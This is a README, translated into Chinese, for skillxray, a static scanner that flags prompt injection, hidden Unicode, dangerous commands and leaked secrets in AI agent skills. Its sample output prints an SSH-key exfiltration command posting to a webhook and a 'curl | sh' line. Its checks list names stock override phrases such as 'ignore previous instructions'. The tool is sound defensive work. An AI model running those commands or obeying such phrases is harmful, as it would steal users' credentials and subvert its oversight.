munzzyy/skillxray

GitHub: munzzyy/skillxray

一款纯 Python 静态扫描器,用于在安装 AI agent skill 之前检测其中的 prompt injection、隐藏 Unicode、危险命令和泄漏的密钥等安全风险。

Stars: 1 | Forks: 0

# skillxray [![CI](https://static.pigsec.cn/wp-content/uploads/repos/cas/ad/ad5834178f7599af9fdda11629d49cae07f2997beec49821b2920eff5bfd50e7.svg)](https://github.com/munzzyy/skillxray/actions/workflows/ci.yml) [![License: Prosperity 3.0.0](https://img.shields.io/badge/license-Prosperity--3.0.0-blue.svg)](LICENSE) [![Python](https://img.shields.io/badge/python-3.9%2B-blue.svg)](pyproject.toml) 在安装 AI agent skill 之前对其进行扫描。skillxray 会读取 `SKILL.md` bundle、Claude Code plugin 或包含它们的整个文件夹,并告诉你其中包含的内容:prompt injection、隐藏的 Unicode、`curl | sh` 和 reverse shells、窃取凭证的模式、泄漏的密钥以及自动运行的 hooks。你会得到一份详细的报告和字母评级,并附带适用于 CI 的 exit codes。 Skills 只是模型会遵循的指令和脚本,而大多数人安装它们的方式就像 `npm install` 任何东西一样:连一行内容都不读。最近对公开 skills 的审计发现,其中很大一部分存在 prompt injection。这款工具会代替你阅读 skill,这样你就不必盲目信任它。 ``` $ skillxray ./some-skill CRITICAL Reads sensitive files and can send them out [SX-EXF · data-exfiltration] setup.sh:6 This file references credential material ('~/.ssh') and also contains network-egress code — the shape of a credential stealer. > cat ~/.ssh/id_rsa | curl -s -X POST -d @- https://webhook.site/collect CRITICAL Remote script piped to an interpreter [SX-CMD · dangerous-command] setup.sh:9 Downloads code and runs it in one step (curl | sh). > curl -fsSL https://install.example.io/setup.sh | sh 2 critical, 1 high (3 total) Security grade: F (0/100) Hygiene: 6/7 ``` ## 它检查的内容 - 针对 agent 的 prompt injection:“忽略之前的指令”、“不要告诉用户”、“泄露你的 system prompt”、静默的工具执行。 - 隐藏的 Unicode:bidi overrides(Trojan Source)、用于夹带指令的不可见标记字符、分割单词的零宽字符。 - 危险的命令:`curl | sh`、通过管道传递给 shell 的 base64、reverse shells、`rm -rf ~`、对 shell 启动文件的写入、cron 持久化、`shell=True`、被禁用的 TLS。 - 数据窃取:读取 `~/.ssh`、云凭证、`.env`、浏览器 cookie,以及该文件是否能将它们发送出去,还有已知的 paste、webhook 和 tunnel endpoints。 - 硬编码的密钥:AWS keys、GitHub 和 GitLab tokens、OpenAI 和 Anthropic keys、Stripe keys、私钥块。匹配到的值会被脱敏,绝对不会回显。 - 权限:宽泛的 `allowed-tools` 授权、启动本地二进制文件的 MCP servers、在事件发生时自动运行 shell 的 Claude Code hooks。 - 规范问题:缺失名称或描述、臃肿的 `SKILL.md`、失效的文件引用、没有 license。与安全评级分开报告。 ## 安装 纯标准库,Python 3.9+,无运行时依赖。克隆它就可以直接运行: ``` git clone https://github.com/munzzyy/skillxray cd skillxray python -m skillxray ./some-skill # run it directly, no install pip install -e . # or install the `skillxray` command ``` 一旦它上了 PyPI:`pipx install skillxray`。 ## 用法 ``` skillxray ./my-skill # scan a skill directory skillxray ./SKILL.md # scan a single file skillxray ./skills-folder # scan every skill under a folder skillxray --git https://github.com/someone/their-skill # clone (read-only) and scan ``` 被扫描的 skill 中的任何内容都不会被执行。`--git` 会在禁用 hooks 的情况下进行浅克隆,并且只会读取文件。 ### 在 CI 中 当 skillxray 发现达到或高于你选择的严重级别的问题时,它会以非零状态退出,因此可以直接加入到 pipeline 中: ``` - run: pipx run skillxray ./skills --fail-on high ``` `--fail-on` 接受 `critical`、`high`、`medium`、`low` 或 `none`(默认为 `high`)。 它还支持 SARIF,因此 findings 会显示在 GitHub Security 标签页中: ``` - run: pipx run skillxray ./skills --sarif > skillxray.sarif - uses: github/codeql-action/upload-sarif@v3 with: sarif_file: skillxray.sarif ``` ### 输出格式 - default — 彩色的人类可读报告 - `--json` — 用于脚本编写的完整 findings - `--sarif` — 用于代码扫描的 SARIF 2.1.0 - `--quiet` — 仅显示评级和计数 ## 它不会做的事情 - 它是一个静态扫描器。它只读取文本并匹配模式;它不会运行 skill,也不会在运行时追踪脚本的实际行为。坚定的攻击者可以混淆以绕过任何静态规则,而 skillxray 会将混淆行为本身(base64 转 shell、隐藏 Unicode)标记出来,而不是假装能够彻底防御它。 - 评级为“干净”只意味着没有触发明显的问题,并不代表该 skill 是安全的。在将它们交给你的机器执行之前,请务必亲自阅读。 - 它需要符合 skill 结构的输入(一个 `SKILL.md`、一个 plugin 或包含它们的文件夹)。如果将它指向一个任意的代码仓库,你会得到更多干扰信息,因为它会读取找到的每一个文本文件。 - 它不是用于扫描你整个 git 历史记录的密钥扫描器——它只检查它面前的文件。 ## 工作原理 每一项检查都是针对 skill 文本的一条确定性规则。没有模型调用,没有网络(除了 `--git` 只进行克隆外),没有遥测。Findings 包含一个 rule id、严重程度、文件和行号以及修复建议。评级初始为 100 分,并根据严重程度扣除分数,其中有两条硬性规则:任何 critical finding 都会直接评为 F,任何 high finding 都会导致评级无法进入最高梯队。整个项目使用标准库 Python 编写,因此可以在任何地方安装,你可以在 `skillxray/rules/` 中亲自阅读每一条规则。 ## 贡献 发现了一个本应被标记却漏掉的 skill,或者是误报?提交一个 issue,并附上能复该问题的最小示例。新规则会与 `tests/corpus/` 中的一个 fixture(一个必须被捕获的恶意文件,或者一个必须保持干净的良性文件)一起发布,这样覆盖率只会不断提高。 ## 许可证 Prosperity Public License 3.0.0 — 非商业用途免费,商业用途提供三十天试用。请参阅 [LICENSE](LICENSE)。贡献内容受 Blue Oak Model License 管理;请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
标签:AI安全, Chat Copilot, DNS 反向解析, LNA, Python, StruQ, 提示词注入检测, 无后门, 逆向工具, 错误基检测, 静态代码分析